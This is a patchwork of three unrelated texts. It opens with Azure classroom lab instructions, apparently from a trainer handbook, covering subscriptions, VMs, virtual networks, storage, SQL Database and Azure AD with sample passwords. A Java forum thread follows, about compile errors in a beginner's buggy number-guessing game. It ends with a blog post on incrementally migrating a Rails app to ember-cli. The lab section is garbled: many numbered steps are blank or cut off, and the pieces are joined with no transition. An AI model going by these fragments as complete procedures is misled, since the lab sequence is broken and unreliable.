downloads the credentials needed to connect to your Azure subscription.
Azure account download..
2.
If necessary, start Internet Explorer, browse to, click Portal, and sign in
using the Microsoft account that is associated with your Azure subscription.
In Internet Explorer, in the Azure portal, on the left side of the page, note the pane containing icons
for each service. Then, at the bottom of this pane, click SETTINGS (you might need to use the scroll
bar for the pane).
2.
On the settings page, on the SUBSCRIPTIONS tab, note the details of your subscription.
3.
Click the ADMINISTRATORS tab and verify that your Microsoft account is listed as the service
administrator.
4.
5.
In the Specify a co-administrator for subscriptions dialog box, in the EMAIL ADDRESS box, type
Admin@Contoso.com.
6.
Select the check box next to your subscription in the SUBSCRIPTION list below, and then click OK
(the check box).
Results: After you complete this exercise, you should have successfully added a co-administrator to your
Azure subscription.
1.
In Internet Explorer, at the top-right of the Microsoft Azure management portal, click your Microsoft
account name and then click View my bill. This opens a new tab in Internet Explorer.
2.
If prompted, sign in using the Microsoft account credentials associated with your Azure subscription.
3.
On the subscriptions page, click your subscription. Then review the summary of usage and billing
that is displayed.
2.
3.
4.
Depending on installed software on your local computer, the file opens in Microsoft Excel. Review the
information and then close Excel. Do not save the worksheet.
5.
Results: After you complete this exercise, you should have successfully viewed your Azure subscription
billing data.
Start Internet Explorer, and browse to, click Portal, and sign in using
the Microsoft account that is associated with your Azure subscription.
2.
3.
4.
In the ADD WEB APP Wizard, on the Find Apps for Microsoft Azure page, click BLOGS.
5.
6.
On the Configure Your App page, in the URL box, type AdatumBlog####, where #### is a unique
number. If your URL is unique, a green check mark displays.
7.
8.
9..
2.
In the Username box, type the email address associated with your Azure subscription.
3.
4.
Select the Remember Me check box, and then click Log In.
Note: If prompted by Internet Explorer to store the password for the website, click Not for
this site.
5.
6.
On the Add New Post page, in the Enter title here box, type Welcome to the Adatum Blog.
7.
8.
Click Publish.
9.
10. Close the current tab in Internet Explorer, and return to the Azure portal tab.
Results: After you complete this exercise, you will have successfully created and configured an Azure
website to support WordPress blogs.
2.
Click COMPUTE, click CLOUD SERVICE, and then click QUICK CREATE.
3.
In the URL text box, type a valid unique cloud service name. For example, type AdatumWeb####,
where #### is a unique number. If the name is valid and unique, a green check mark is displayed.
4.
In the REGION OR AFFINITY GROUP list, click your local region, and then click CREATE CLOUD
SERVICE.
In the Azure portal, in the NAME list, click your new cloud service.
2.
3.
4.
In the Upload a package dialog box, in the DEPLOYMENT LABEL box, type Adatum App ####,
(where #### is the same number you typed earlier).
5.
6.
7.
8.
9.
L2-4
2.
In the list of cloud services, in the URL column, click the URL for your cloud service.
3.
4.
5.
Results: After you complete this exercise, you will have successfully created, deployed, and configured an
Azure Cloud Service.
2.
In Internet Explorer, browse to, click Portal, and then sign in by using
the Microsoft account that is associated with your Azure subscription. Close any initial welcome
messages.
3.
At the top right, click your Microsoft account name, and then click Switch to new portal. Then, in
the new tab that is opened, close any initial welcome messages for the new portal.
4.
5.
6.
7.
8.
9.
11. In the Optional Config pane, click STORAGE ACCOUNT, click Create a storage account, and then in
the Storage account pane, review settings and click OK.
12. In the Optional Config pane, click NETWORK, and then in the Network pane, review settings without
making changes. In the Network pane, click OK, and then in the Optional Config pane, click OK.
13. In the CREATE VM pane, click Create.
14. Wait for a couple of minutes to allow the virtual machine creation to proceed and the storage to be
written to your storage account.
In the left pane, click BROWSE, and then click Virtual Machines.
2.
Ensure that the virtual machine that you created shows a status of Running. If the status is not
Running, wait a few minutes until the status changes to Running.
Results: After completing this exercise, you will have created and verified a Microsoft Azure virtual
machine.
In the Azure preview portal, click BROWSE in the left navigation pane.
2.
3.
4.
5.
Click HOME.
6.
7.
8.
9.
Click the DASHBOARD tab and review the available information and settings.
10. Click the MONITOR tab and review the available information about virtual machine performance.
11. Click the ENDPOINTS tab. Review available options for configuring connections to the virtual
machine.
L3-8
12. Click the CONFIGURE tab. Review the available options but do not make any changes to the virtual
machine.
In the Azure portal, click your user account in top right corner, and then click Switch to new portal.
If the new portal is already open, just switch to Microsoft Azure tab in Internet Explorer.
2.
In the Azure preview portal, click BROWSE, and then click Virtual Machines.
3.
Click the server<initials>-10971 virtual machine, and then click CONNECT in the top of the right
pane.
4.
In the Internet Explorer notification popup, click Save, and then click Open.
5.
6.
b.
c.
Click OK.
7.
8.
Navigate around the server configuration and evaluate basic functionality, such as Server Manager
and File Explorer.
9.
When finished, click the X in the upper right corner of the Remote Desktop Connection session to
disconnect.
Results: After completing this exercise, you will have established a connection to the virtual machine.
In the left pane of the Azure preview portal, click BROWSE, and then click Virtual Machines.
2.
Ensure that the virtual machine that you created shows a status of Running.
3.
4.
In the server<yourinitials>-10979 pane, scroll down, and then click the Disks tile.
5.
In the Disks pane, review the available information and ensure that you see only OS DISK.
In the Disks pane, review the available information and ensure that you see only OS DISK.
2.
3.
4.
5.
6.
7.
8.
9.
In the Attach a new disk pane, type 5 in the SIZE (GB) text box, and then click OK.
10. Wait for up to one minute and ensure that in the Disks pane, a new disk with capacity of 5 GB is
displayed.
11. Scroll left and in the server<yourinitials>-10979 pane, click CONNECT.
12. In the Internet Explorer notification popup, click Save, and then click Open.
13. In the Remote Desktop Connection window, click Connect.
14. In the Windows Security dialog box:
a.
b.
c.
Click OK.
L3-9
16. After you have signed in to the virtual machine, in the Server Manager console, click Tools, and then
select Computer Management.
17. In the Computer Management console, click Disk Management.
18. In the Initialize Disk window, click OK.
19. Review the available disks in the Disk Management right pane, and ensure that you have one OS disk,
one temporary disk, and one new disk with capacity of 5 GB.
20. Close the Computer Management console.
Results: After completing this exercise, you will have attached a new disk to a virtual machine.
2.
3.
4.
In the lower left corner of the screen, click NEW. In the navigation pane, click NETWORK SERVICES,
and then click VIRTUAL NETWORK.
5.
6.
In the CREATE A VIRTUAL NETWORK Wizard, on the Virtual Network Details page, type VNET1 in
the NAME text box.
7.
In the LOCATION drop-down list, click West US. Click the arrow in the lower right corner.
Note: If you do not have West US as available region, choose the region that is closest
to you.
8.
On the DNS Servers and VPN Connectivity page, review the available options, but do not make any
changes. Click the forward arrow in the lower-right corner.
9.
On the Virtual Network Address Spaces page, in the ADDRESS SPACE section, open the dropdown list under STARTING IP, and then click 192.168.0.0.
10. In the CIDR (ADDRESS COUNT) drop-down list, click /24 (256).
11. In the SUBNETS section, click add subnet and ensure that Subnet-2 is added.
12. Click add address space. In the second address space that is added, open the drop-down list under
STARTING IP, and then select 172.16.0.0.
13. In the CIDR (ADDRESS COUNT) drop-down list, choose /16 (65536).
14. Click the checkmark in the lower right corner to finish the wizard and create a virtual network. It will
take a few minutes for the network to be created.
Results: After completing this exercise, you will have created a new virtual network.
Virtual Networks
L4-12
1.
Browse to, click Get Started on the Welcome to Microsoft Azure page,
and sign in by using the Microsoft account that is associated with your Microsoft Azure subscription.
Close any initial welcome messages, if they appear.
2.
3.
4.
5.
6.
7.
8.
9.
In the Optional Config pane, click NETWORK, and then click VIRTUAL NETWORK.
10. In the Virtual Network pane, under Use an existing virtual network, select VNET1. Click OK on the
Network pane, and then click OK on the Optional Config pane.
11. On the CREATE VM pane, click Create.
12. Wait a couple of minutes to allow the virtual machine (VM) creation to finish.
In the bottom left pane in the Azure preview portal, click + NEW.
2.
3.
4.
5.
6.
7.
8.
In the Optional Config pane, click NETWORK, and then click VIRTUAL NETWORK.
9.
In the Virtual Network pane, under Use an existing virtual network, select VNET1. Click OK on the
Network pane, and then click OK on the Optional Config pane.
In the left pane of the Azure preview portal, click BROWSE, and then click Virtual Machines.
2.
Ensure that the virtual machine that you created shows a status of Running. If the status is not
Running, wait a few minutes until the status changes to Running.
3.
Click the Server1 VM, and then click CONNECT in the top of the left pane.
4.
In the Internet Explorer notification popup, click Save, and then click Open.
5.
6.
In the Windows Security dialog box, click Use another account and then use following data to
connect:
o
Click OK.
7.
In the Remote Desktop Connection window, click Yes. Minimize Server1 window.
8.
Repeat steps 1 through 7 for the Server2 machine (use server2-admin as the user name).
9.
On the Server1 machine, note the Internal IP value shown on the desktop.
10. Switch to the Server2 machine and note the Internal IP value shown on the desktop.
L4-13
11. On the Server2, open File Explorer, in the left pane, right click Network and then click Properties.
12. In the Network and Sharing Center window, click Change advanced sharing settings.
13. In the Advanced sharing settings window, under Guest or Public section, below File and printer
sharing section, click Turn on file and printer sharing, then click Save changes button.
14. Close Network and Sharing Center window.
15. On the Server1 machine, open File Explorer, in the address bar, type \\IPaddressofServer2, and then
press Enter.
Note: You should type IP address of Server2 after \\.
16. On the Windows Security window, enter user name: server2-admin and password: Moc1500!, then
click OK. Ensure that the server opens (it will be an empty window), which confirms that your servers
can communicate via virtual network VNET1.
Results: After completing this exercise, you will have created two new virtual machines and assigned them
to VNET1.
2.
3.
4.
5.
In the point-to-site connectivity section, click the option Configure point-to-site connectivity.
6.
Click SAVE in the lower part of the screen, and then click YES.
7.
8.
Click the VNET1 network, and then click the CONFIGURE tab.
9.
Notice that you have options for ADDRESS SPACE available in the point-to-site connectivity section.
Ensure that 10.0.0.0/24 is selected.
Virtual Networks
10. On your classroom computer machine, open the Developer Command Prompt for VS2012 as
administrator.
L4-14
11. In the command prompt window, type: makecert -sky exchange -r -n "CN=VNET1Cert" -pe -a
sha1 -len 2048 -ss My "C:\temp\VNET1Cert.cer", and then press Enter. Do not close the command
prompt window.
12. Open File Explorer, navigate to C:\temp, and then ensure that the VNET1Cert certificate file is
created.
13. Switch back to the Azure management portal, and then click the CERTIFICATES tab on VNET1 portal.
14. Click UPLOAD A ROOT CERTIFICATE.
15. In the Upload a Certificate window, click BROWSE FOR FILE.
16. In the Choose File to Upload window, browse to C:\temp, select the VNET1Cert file, and then click
Open.
17. Click the checkmark icon to upload a certificate.
18. Ensure that the certificate appears in the Azure portal.
19. Restore the command prompt window. Type the following command: makecert.exe -n
"CN=VNET1Client" -pe -sky exchange -m 96 -ss My -in "VNET1Cert" -is my -a sha1. Press Enter.
20. Switch back to the Azure portal, and then, in the VNET1 configuration pane, click the DASHBOARD
tab.
21. Click CREATE GATEWAY and when prompted, click YES. Wait until the
gateway is created.
Note: This might take up to 15 minutes.
22. In the quick glance section, click Download the 64-bit Client VPN Package.
23. When prompted, save the file to the C:\temp location. The name of the file will be similar to
1c586c97-442b-4c85-9ea6-45a5d0c5d3a1. exe. Close the warning prompt if it appears.
24. After the file downloads, navigate to C:\temp, right-click the file that you just downloaded, and then
click Properties.
25. In the Properties window, click Unblock, and then click OK.
26. Double click the file. In the User Account Control window (if it appears), click Yes.
27. In the VNET1 window, click Yes and wait until the virtual private network (VPN) client installs.
28. On your classroom machine, click the network icon in the taskbar. In the connection pane, click
VNET1, and then click Connect.
29. In the VPN client window, click Connect, and then click Continue on the prompt window.
30. Ensure that the connection is established.
31. Open Command Prompt.
32. In the Command prompt window, type ipconfig, and then press Enter.
L4-15
33. Look for the Point-to-Point Protocol (PPP) adapter in the VNET1 section. Ensure that you have the IP
address from the 10.0.0.0/24 scope.
34. On your classroom machine, click the network icon in the taskbar. In the connection pane, click
VNET1, and then click Disconnect.
Results: After completing this exercise, you will have established a point-to-site connectivity.
On the host computer, click Start, and then click the Internet Explorer icon.
2.
3.
4.
5.
6.
In the New popup menu, scroll down, and then click Storage.
7.
Note: Replace <initials> with your own initials. For example, if your name is Margo Ayers,
then the URL would be 10979sma. If the name is already in use, add a number after your initials
until the name is accepted. For the remainder of the demonstrations, use your initials in place of
<initials>.
8.
Click PRICING TIER. In the Recommend pricing pane, click L1, and then click Select.
9.
Click LOCATION. If the selected location is not the closest location to you, or a location is not
selected, click the location closest to you.
10. At the bottom of the Storage account pane, click Create to complete the creation. It might take few
minutes for storage account to be created.
In the Azure portal, in the left pane, click BROWSE, and then click Storage.
2.
3.
4.
Near the top of the 10979s<initials> pane, click PROPERTIES to view the properties of the storage
account.
5.
6.
Close the Properties pane, and leave the storage pane open.
Results: After you complete this exercise, you will have created your Azure storage.
Cloud Storage
2.
3.
In the Add a container pane, type 10979c<initials> in the NAME text box.
If the name is already in use, add a number after your initials until the name is accepted.
4.
In the Access type settings, click Blob, and then click OK to complete the creation of the new
container.
5.
Click the X icon in the upper right corner of the Containers pane to close it.
Task 2: Add data to the container using Azure Web Storage Explorer
1.
2.
In the Manage keys pane, copy the access key shown in PRIMARY ACCESS KEY to the clipboard.
3.
4.
5.
In the right pane, right-click an empty area, click New, and then click Text Document.
6.
In the file name, replace New Text Document with storage-key, and then press Enter.
7.
Double-click storage-key.txt. The file will open in Notepad. In Notepad, paste the access key that
you copied to the Clipboard in step 2 into the file.
8.
9.
Close Notepad.
10. In the Manage keys pane, click the X to close the pane.
11. In Internet Explorer, press Ctrl+N to open a new browser window.
L5-18
16. In the Choose File to Upload window, double-click Computer, double-click Local Disk (C:), doubleclick Windows, scroll down, and then double-click the media folder.
17. Click Alarm01.wav, and then click Open.
18. Click the Upload button to upload Alarm01.wav.
19. Click Browse.
20. In the Choose File to Upload window, double-click Computer, double-click Local Disk (C:), doubleclick Program Files, double-click Internet Explorer, and then double-click the images folder.
21. Scroll down, click splashscreen.contrast-white_scale-180.png, and then click Open.
Results: After completing this exercise, you will have created a blob container and uploaded the data.
Exercise 1: Create a New SQL Database in Azure and Configure SQL Server
Firewall Rules
Task 1: Create a new SQL database by using the preview Azure portal
1.
2.
Start Internet Explorer, browse to, click Portal, and then sign in by
using the Microsoft account that is associated with your Azure subscription.
3.
At the top right, click your Microsoft account name, and then click Switch to new portal.
4.
5.
On the New blade, scroll down to and click the SQL Database entry.
6.
7.
Click the PRICING TIER section, click the B Basic pricing tier, and then click Select.
8.
Click SERVER, and then in the Server blade, click Create a new server.
9.
In the New server blade, enter the following settings, and then click OK:
o
PASSWORD: Pa$$w0rd
10. In the SQL database blade, click RESOURCE GROUP, and then in the Resource group blade, click
Create a new resource group.
11. In the Resource group blade, in the NAME box, type testRG, and then click OK.
12. In the SQL database blade, ensure that Add to Startboard is selected, and then click Create. Then
wait for the SQL Database to be created.
2.
In the service pane on the left, click SQL DATABASES, and then verify that the testDB database you
created in the new portal is listed.
3.
On the sql databases page, click SERVERS, and then verify that the uniquely named server you
created in the previous task is listed.
4.
5.
Note the CURRENT CLIENT IP ADDRESS, and click the ADD TO THE ALLOWED IP ADDRESSES
icon. At the bottom of the page, click Save.
L6-22
6.
Click the new allowed ip addresses entry and change it to a more descriptive name that will allow
you to identify it in the future.
7..
On your classroom computer, start SQL Server Management Studio, and in the Connect to Server
dialog box, specify the following settings (replacing server_name with the unique name you specified
when creating your SQL Database server), and then click Connect:
o
Login: Student
Password: Pa$$w0rd
2.
In SQL Server Management Studio, in Object Explorer, under the server name, expand Databases,
and then verify that the testDB database is listed.
3.
Expand the testDB database, right-click its Tables folder and then click New Table.
Note: This opens a Transact-SQL template that you can use to create a table. SQL Server
Management Studio has no graphical tools for creating SQL database objects in Azure.
4.
Replace all Transact-SQL code in the template with the following code.
CREATE TABLE dbo.testTable
(
id integer identity primary key,
dataval nvarchar(50)
);
GO
5.
On the toolbar, in the Available Databases list, ensure that testDB is selected, and then click
Execute.
6.
In Object Explorer, expand the Tables folder and verify that dbo.testTable is listed (if not, right-click
Tables and click Refresh).
7.
Leave the SQL Server Management Studio open for the next task.
Task 2: Add data to a table of a SQL database in Azure by using SQL Server
Management Studio
1.
L6-23
Click New Query and enter the following Transact-SQL code in the new query pane. This code inserts
100 rows containing automatically generated globally unique identifier (GUID) values into the table.
INSERT INTO dbo.testTable
VALUES
(newid());
GO 100
2.
On the toolbar, in the Available Databases list, ensure that testDB is selected. Click Execute.
3.
Leave the SQL Server Management Studio open for the next task.
Task 3: Query a table of a SQL database in Azure by using SQL Server Management
Studio
1.
In Object Explorer, right-click dbo.testTable, point to Script Table as, point to SELECT To, and then
click New Query Editor Window. This generates a Transact-SQL query that retrieves data from the
table.
2.
On the toolbar, in the Available Databases list, ensure that testDB is selected, and then click
Execute.
3.
View the query results and verify that a table of id and dataval values is returned.
4.
Results: After completing this exercise, you should have created a test table in the SQL database in Azure
named testDB on an existing SQL Server in Azure with a name of your choice, populated it with sample
data, and queried its content.
Start Internet Explorer, browse to, click Portal, and sign in by using the
Microsoft account that is associated with your Azure subscription.
2.
3.
Click +NEW.
4.
Click DIRECTORY.
5.
6.
In the Add directory dialog box, enter the following settings, and then select the Complete check
box:
o
NAME: Adatum
DOMAIN NAME: Use the same name as the NAME field + random numbers (e.g.
adatum123456); if you see a The domain is not unique message, change the numbers until you
see a green checkmark.
Results: After completing this exercise, you will have created a new Microsoft Azure Active Directory
(Azure AD) directory by using Azure Portal.
Click Adatum.
2.
Click USERS.
3.
4.
In the Tell us about this user dialog box, enter the following settings, and then click Next:
5.
In the user profile dialog box, enter the following settings, and then click Next:
o
ROLE: User
6.
Click create.
7.
On the Get temporary password page, note the value for NEW PASSWORD; as a backup, in the
SEND PASSWORD IN EMAIL box, type the email address of your Azure subscription.
8.
9.
10. In the Tell us about this user dialog box, enter the following settings, and then click Next:
o
11. In the user profile dialog box, enter the following settings, and then click Next:
o
ALTERNATE EMAIL ADDRESS: type the email address of your Azure subscription
2.
In the Tell us about this user dialog box, enter the following settings, and then click Next:
3.
4.
USER NAME: type the name of an existing Microsoft account that the instructor provided
In the user profile dialog box, enter the following settings, and then click Next:
o
ROLE: User
Click the checkmark in the lower right corner of the user profile dialog box.
L7-26
L7-27
In the Adatum directory, on the USERS tab, in the DISPLAY NAME column, click the Instructor
entry.
2.
Make sure that the content of the PROFILE tab is displayed. Scroll down to the role section.
3.
4.
Click SAVE.
5.
Click the left arrow in the navigation pane to return to the main page of the Adatum Azure AD
directory.
Ensure that the USERS tab of the Adatum Azure AD page is selected.
2.
Note that this allows you to view the list of user display names, user names, and the account type,
which in our case, should include Windows Azure Active Directory or Microsoft Account.
3.
To view all members of built-in Azure AD organizational roles, click MANAGE MULTI-FACTOR
AUTH.
4.
If prompted to sign-in, on the Sign-in page, sign in by using the Microsoft account that is associated
with your Azure subscription.
5.
On the multi-factor authentication page, note that, by default, you can see all Sign-in allowed
users.
6.
7.
Verify that you can see all users that have been assigned the Global Administrator role.
8.
Results: After completing this exercise, you will have used Azure Portal to create an Azure AD directory
user account, add a Microsoft Account to Azure AD directory and configure it as a Global Administrator,
and view the results of these actions.
2.
3.
4.
5.
6.
7.
8.
9.
When the installation is complete, click Finish. Leave the Web Platform Installer 5.0 window open.
On the task bar, right-click Windows PowerShell and click Run ISE as Administrator. Click Yes
when prompted.
2.
In the PowerShell ISE, in the command prompt pane, enter the following command to add an Azure
account to the local PowerShell environment.
Add-AzureAccount
3.
When prompted, sign in by using the Microsoft account associated with your Azure subscription.
In the Windows PowerShell ISE, in the command prompt pane, enter the following command to view
the Azure accounts in your local Windows PowerShell environment, and verify that your account is
listed:
Get-AzureAccount
2.
Enter the following command to view the subscriptions that are connected to the local PowerShell
session, and verify that your subscription is listed.
Get-AzureSubscription
Note: If you have more than one subscription, you must select the Azure Pass subscription.
Run the following command:
select-azuresubscription -subscriptionName "Azure Pass"
3.
Enter the following command to create a new website. Substitute the #### with a random number.
New-AzureWebsite MySite####
4.
L8-30
Enter the following command to view your new website. Substitute the #### with the number you
used in step 3.
get-AzureWebsite MySite####
5.
6.
In Internet Explorer, open a new tab and browse to, click Portal, and
then sign in using the Microsoft account that is associated with your Azure subscription.
7.
In the navigation pane on the left, click WEBSITES, and verify that your new website has been created.
8.
Results: After you complete this exercise, you will have successfully installed and used the Windows
PowerShell module for Microsoft Azure.
Note: If you accidentally closed the Web Platform Installer 5.0 window, switch to Start, and
then click Web Platform Installer 5.0.
2.
In the list, next to Microsoft Azure Cross-platform Command Line Tools, click Add, and then click
Install.
3.
4.
5.
2.
At the command prompt, type the following command, and then press Enter. This command
downloads the credentials needed to connect to your Azure subscription.
Azure account download
L8-31.
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https://ru.scribd.com/document/267013990/10979A-ENU-TrainerHandbook-pdf
|
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| 39,375
| 54.22
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I am working on the code for a small number guess game , the code is as follows:
import java.util.*;
public class guessgame
{
public static void main(String[] args)
{
// Declare variables, setup keyboard input and the
// random number generator
int game_number, user_number;
String continue_pref
Scanner data_input = new Scanner(System.in);
Random generate = new Random();
do
{
// Generate game number
game_number = generate.nextInt(999) + 1;
// The following line is a debug line, comment out
// for real game.
// System.out.printf("Game number:%d%n", game_number);
// Get users first guess
System.out.print("The computer has generated a number.");
do
{
System.out.printf("%nEnter your guess, from 1 to 1000 inclusive (0 to quit):");
usernumber = data_input.nextint();
} while ((user_number >= 0) && (user_number <= 1000));
// While user has not guessed right and does not want to quit
while ((user_number == game_number) || (user_number != 0))
{
if (user_number > game_Number)
System.out.printf("You need to guess higher%n");
else
System.out.printf("You need to guess lower%n");
// Get users next guess
do
{
System.out.printf("%nEnter your guess, from 1 to 1000 inclusive (0 to quit):");
user_number = data_input.nextInt();
} while ((user_number >= 0) && (user_number <= 1000));
}
if (user_number == 0)
{
// User has guessed right
System.out.printf("%nYou guessed correctly, well done.%nDo you want to play again (y/Y)=Yes: ");
continue_pref = new String(data_input.next());
}
else
{
// User wants to quit
continue_pref = new String("No");
}
} while (continue_pref.equalsIgnoreCase("N"));
}
}
I keep on getting the following error when I compile it. I have no idea what this error means or how to fix it , can anybody help me ? cheers.
C:\guessgame.java:11: ';' expected
Scanner data_input = new Scanner(System.in);
You need a semicolon at the end of the following line:
Code:
String continue_pref
String continue_pref
Thanks very much!
I'm new to java so it's all very confusing to me at the moment!
I have now recieved these errors :
m:\guessgame.java:27: cannot find symbol
symbol : variable usernumber
location: class guessgame
usernumber = data_input.nextint();
^
m:\guessgame.java:27: cannot find symbol
symbol : method nextint()
location: class java.util.Scanner
usernumber = data_input.nextint();
^
m:\guessgame.java:34: cannot find symbol
symbol : variable game_Number
location: class guessgame
if (user_number > game_Number)
Could anybody clarify how to fix these ?
Thanks
You haven't declared the "usernumber" variable anywhere. Same thing with "game_Number". Look closely at your code. These are simple typos.
Ok.
I'm very new to Java, only been learning it a few days, thanks very much for the advice
Originally Posted by TommyEman
Ok.
I'm very new to Java, only been learning it a few days, thanks very much for the advice
You're very welcome. Java's very picky about what you type, so pay close attention to what the compiler tells you. The more you can get comfortable reading those error messages, the easier it will be to troubleshoot your code. I remember how mysterious a stack trace looked to me the first time. Learning how to read and interpret the messages was a real epiphany.
Hi guys
Still struggling, had a go at trying to declare them but think I'm using the wrong syntax , can't find any sites either telling me how, can anyone help?
cheers
Use the variables you actually declared. Look at your original code. You declare "user_number" at the start of your class, but you're trying to use the variable "usernumber" (which hasn't been declared) at the point where you get the error. Java can't tell that you meant to say "user_number" instead of "usernumber", so the compiler is telling that it can't recognize what you wrote. Same thing goes for "game_Number", which is not the same thing as "game_number".
Fix the typos, so you actually use the variables you declare.
Cheers bud I really appreciate it.
This error is still troubling me :
m:\guessgame.java:27: cannot find symbol
symbol : method nextint()
location: class java.util.Scanner
user_number = data_input.nextint();
^
I dont mean to sound like a pain but ive tried looking up the error and no joy, I really should buy a decent Java book or something!
Could someone explain this error to me and how to fix it?
cheers
At the risk of beating a dead horse, you've misspelled the nextInt() method. That's what the compiler is telling you.
m:\guessgame.java:27: cannot find symbol
Translation: I, the compiler, have no idea what you're talking about on line 27 of your guessgame.java file.
symbol : method nextint()
Translation: The thing on line 27 of which I have no clue is the "nextint()" method you're trying to use. It doesn't exist.
location: class java.util.Scanner
Translation: There is no nextint() method in the Scanner class; I suggest you check your spelling (and possibly the arguments you're passing, but that's not the problem here).
user_number = data_input.nextint();
Translation: In case you still don't know where I'm talking about, it's that "nextint()" you've typed right there. You know, the one after the period. The one that doesn't exist in the Scanner class.
Just to reiterate: Java is picky about what you type. The spelling of methods, variables, classes, keywords, etc., must match exactly. There's no mercy for those who don't pay attention to detail.
Good luck!
Last edited by yawmark; 12-08-2005 at 02:40 PM.
Compiled
I see what you mean! I'm used to coding in VB, so Java is totally different for me. I will remember this rule and pay alot more attention next time!
thanks again
Forum Rules
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|
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How we migrated from Rails to ember-cli…incrementally (part 1)
And the key is incrementally.
tl;dr :.
This is chapter 1 of our process for porting a large Rails app to ember-cli….incrementally. The goal is to have the Rails app and ember-cli running together seamlessly with zero, or close enough to it, duplication of code/css, until such point as the front end has been completely moved into the ember-cli app.
The title of this chapter is: Understanding the lay of the land, and working out what might be possible.
So, the app I’m currently working with is a pretty beefy Rails app. It has been around for 2 years and has quite a bit of functionality. rake routes shows 346 different routes. Now, maybe not all of them are in use, but you get the gist. It’s a complex application with a lot of functionality.
As well as being a large Rails app, there is some ember functionality on the site, through the use of ember-rails. So, moving this all out into one integrated ember-cli seems like the right thing to do.
The key thing with this piece of work for me is that we migrate this app incrementally. No development for 6 or 12 months with a big bang release at the end. No, “click here to try out our new version” links on the site. The users continue to use the site and are none the wiser to the work we are doing. We port features over, one at a time, and the ember-cli app is integrated into the Rails app, seamlessly.
Initial thoughts might be to use ember-cli-rails. However, I’m not really that interested in that idea. A lot of awesome work is going into ember-cli every day. And I don’t want to rely on another abstraction on top of that to allow me to use it in Rails. I also like the idea of the front end app being a separate repo and project from the API altogether. In short, I think node and ember-cli are awesome, and I think we should use them.
So, I let my brain run loose for a while.
- How do we do this?
- How can we pull the ember-cli app into the Rails app, while still allowing the developer to maintain the slick ember-cli workflow?
- How can we do this with the ember-cli app being a separate app and repo?
- How do we not duplicate css?
- How do we only boot the ember app for certain Rails routes?
- How do we only boot the ember app for certain clients before fully turning the Rails functionality off?
- How do we accurately reflect what the ember-cli app will look like when served from Rails, while running it on the ember-cli dev server?
- How do we see what the ember-cli app will look like when served from Rails, in the development environment?
- How do we actually get Rails to serve the ember-cli app?
So…lots of questions…and lots of answers to find. So I started spiking.
A view from above
The high level idea of what I was aiming for was to allow developers to build an ember app using ember-cli and the great developer workflow it provides. To allow them to port features over from the Rails app to ember-cli. Then to have the Rails server serve the ember-cli app for the ported routes, but continue with the existing Rails functionality for the yet to be ported routes. And eventually to have the front end app be solely an ember app in it’s own repo while the Rails app became solely the API.
For the interim, until the app is fully ported, the plan is to have Rails handle the header and footer as it currently does and then have the ember app anchor on a div in the middle. So, the ember-cli app will literally be the functionality that exists between the header and the footer for the time being.
Styling
One of the main questions in my mind was “how do we handle the css?”. Ideally we don’t want to be duplicating any css. Obviously, we want to be porting over any css specific to the feature that we’re porting. But css that is common to the wider app, and not just a particular feature, really needs to stay in the Rails app.
If we think of how this will work in production, Rails will be pulling the ember app from some location and serving it within the server generated web app. So, the styles will already be available and be applied to the ember app.
But in development, that is a different story. In development, the app will be running on and for the most part we won’t be viewing it within the context of the wider Rails app. The way we have approached this is, when running in development mode, we inject a couple of stylesheet links into the index.html that point to the styles served by the development Rails server.
This does mean that the Rails server also needs to be running when developing the ember-cli app but I think this is a compromise we’re happy to live with.
In order to inject these links, we wrote a small ember-cli addon that uses the contentFor hook to inject the html into the {{content-for ‘head-footer’}} tag.
The addon looks into the app config for a list of stylesheet urls that need to be injected:
// config/environment.js
if (environment === ‘development’) {
ENV.linksToInject = [
''
];
}
Then the contentFor hook in the addon will inject these links into the index.html:
// ember-cli-style-injector/index.js
contentFor: function(type, config) {
var links = config.linksToInject;
if (type === 'head-footer' && links && links.length) {
var content = [];
links.forEach(function(link) {
content.push('<link rel="stylesheet" href="' + link + '">');
});
return content.join('\n');
}
}
Now that we have links to the Rails served css files, our ember-cli app can use them in development. To top it off, we just copied the hard coded html for the header and footer into the index.html file to give the app the accurate look and feel of the existing app.
It is worth noting that index.html file will not actually be used outside of development. This is why we can hardcode the header and footer in to it. See the Deployment section for more details on this.
Root Element
As the ember-cli app will be served from somewhere within the existing Rails application, between the header and the footer, it cannot boot itself on the <body> tag of the document as it does by default. Therefore we needed to specify that it anchor itself on some other arbitrary tag.
// config/environment.js
APP: {
rootElement: '#ember-app-container'
}
We then needed to add this id to a div in the index.html, somewhere between the mock header and footer, and then add it to the same place in the real layout in the Rails app. This way, the ember app will anchor itself correctly in both development and production.
Serving the ember app, from Rails
The big question here was, how are we going to serve the ember-cli app from Rails. And how would we conditionally do this depending on which features had been ported and which hadn’t.
The high level idea was to be that for routes that have been ported, Rails would retrieve the urls that point to the ember-cli built assets (css and js) and then merge them into the Rails layout. When that layout was rendered in the browser, it would pull the ember assets down and boot the ember app on the rootElement mentioned above.
That was the idea. But how were we going to go about it? How would Rails know what the ember assets were and where they lived? In order to answer these questions, we need to digress slightly to look at how we would deploy the ember app.
Deployment
In short, we are using ember-cli-deploy to deploy the ember-cli app. That was a no brainer. The interesting part comes when you look at what we were deploying.
The idea here is that the ember-cli app is firstly built, resulting, essentially, in a bunch of assets (css, js, images etc) and an index.html file, which is used to boot the app.
The assets would then be pushed to S3/Cloudfront where they will be accessed by the Rails server.
The index.html file, however, is then parsed and all the interesting stuff inside is turned into a config like JSON string and pushed to Redis. This JSON config, with all the links to the assets, is what Rails will retrieve when it’s time to serve the ember app.
The first cut of this JSON config looks something like this:
{
"base": [{ href: "/" }],
"link": [{ href: "", rel: "stylesheet"}],
"meta": [{ content: "config", name: "myapp/config/environment"}],
"script": [{ src: ""}]
}
These are the parts of the index.html file that seemed important to us. At this stage I don’t think we’ve missed anything.
Serving the ember app, from Rails…again
Aaaaand, we’re back.
So, what is this all going to look like from the Rails perspective? Well, let’s have a look.
First of all, we wanted Rails to default to the existing functionality, while still being able to request that it serve the ember app instead. We use a query parameter for this. If we append ?enable_ember=true to any Rails url, Rails will render an ember specific layout. But we only want to do this for routes that have actually been ported to the ember app. So we added a method to the ApplicationController called render_ember_if_requested which looks like this:
// app/controllers/application_controller.rb
def render_ember_if_requested(&block)
if ember_requested?
@ember_config = ember_config_adapter.config
render "ember/index", layout: "ember_application"
else
block.call if block_given?
end
end
def ember_requested?
!!params[:enable_ember]
end
This can be used in any controller action that we have ported to the ember app:
// app/controllers/posts_controller.rb
def index
authorize! :index, :posts
render_ember_if_requested
end
So, if we append the ?enable_ember=true query param when going to this route, the ember layout will be served instead of the existing Rails layout.
